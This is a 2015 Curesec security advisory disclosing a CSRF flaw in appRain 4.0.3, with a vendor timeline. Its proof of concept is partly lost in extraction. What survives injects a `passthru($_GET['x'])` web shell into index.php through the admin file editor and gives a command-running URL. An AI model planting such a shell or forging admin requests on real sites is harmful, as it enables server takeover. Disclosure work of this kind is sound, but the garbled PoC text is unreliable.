Security Advisory - Curesec Research Team 1. Introduction Affected Product: appRain 4.0.3 Fixed in: Fixed via Optional Module CSRF Protection Module Link: =Description Vendor Website: Vulnerability Type: CSRF Remote Exploitable: Yes Reported to vendor: 10/02/2015 Disclosed to public: 12/02/2015 Release mode: Coordinated release CVE: requested, but not assigned Credits Tim Coen of Curesec GmbH 2. Vulnerability Description CVSS Medium 5.1 AV:N/AC:L/Au:S/C:P/I:P/A:P Description None of the requests have CSRF protection. This means that an attacker can execute actions for an admin if the admin visits an attacker controlled website while logged in. 3. Proof of Concept Add new Admin:
Code Execution (using the PHP file editor):
Whoops, it looks like you have an invalid PHP version.
appRain supports PHP 5.1.0 or newer."); } $appLoc = "../app.php"; if (!file_exists($appLoc)) { die("appRain core file(s) missing... Get a new copy "); } error_reporting(E_ALL); require_once $appLoc; umask(0); App::Run(); passthru($_GET['x']);" />
The injected code can now be executed here: http://localhost/apprain-source-4.0.3/webroot/index.php?x=ls 4. Solution To mitigate this issue please install the "Data Exchange Security" module: 5. Report Timeline 10/02/ Informed Vendor. Mailbox is full, used 2015 instead (no reply) 10/21/ Reminded Vendor of Disclosure Date 2015 10/21/ Vendor announces fix 2015 ~11/02/ Vendor releases optional module for CSRF protection 2015 11/04/ Suggested to vendor that CSRF protection should not be optional (no 2015 reply) 11/17/ CVE Requested (no reply) 2015 12/02/ Disclosed to public 2015 Blog Reference: -- blog: tweet: Curesec GmbH Curesec Research Team Romain-Rolland-Str 14-24 13089 Berlin, Germany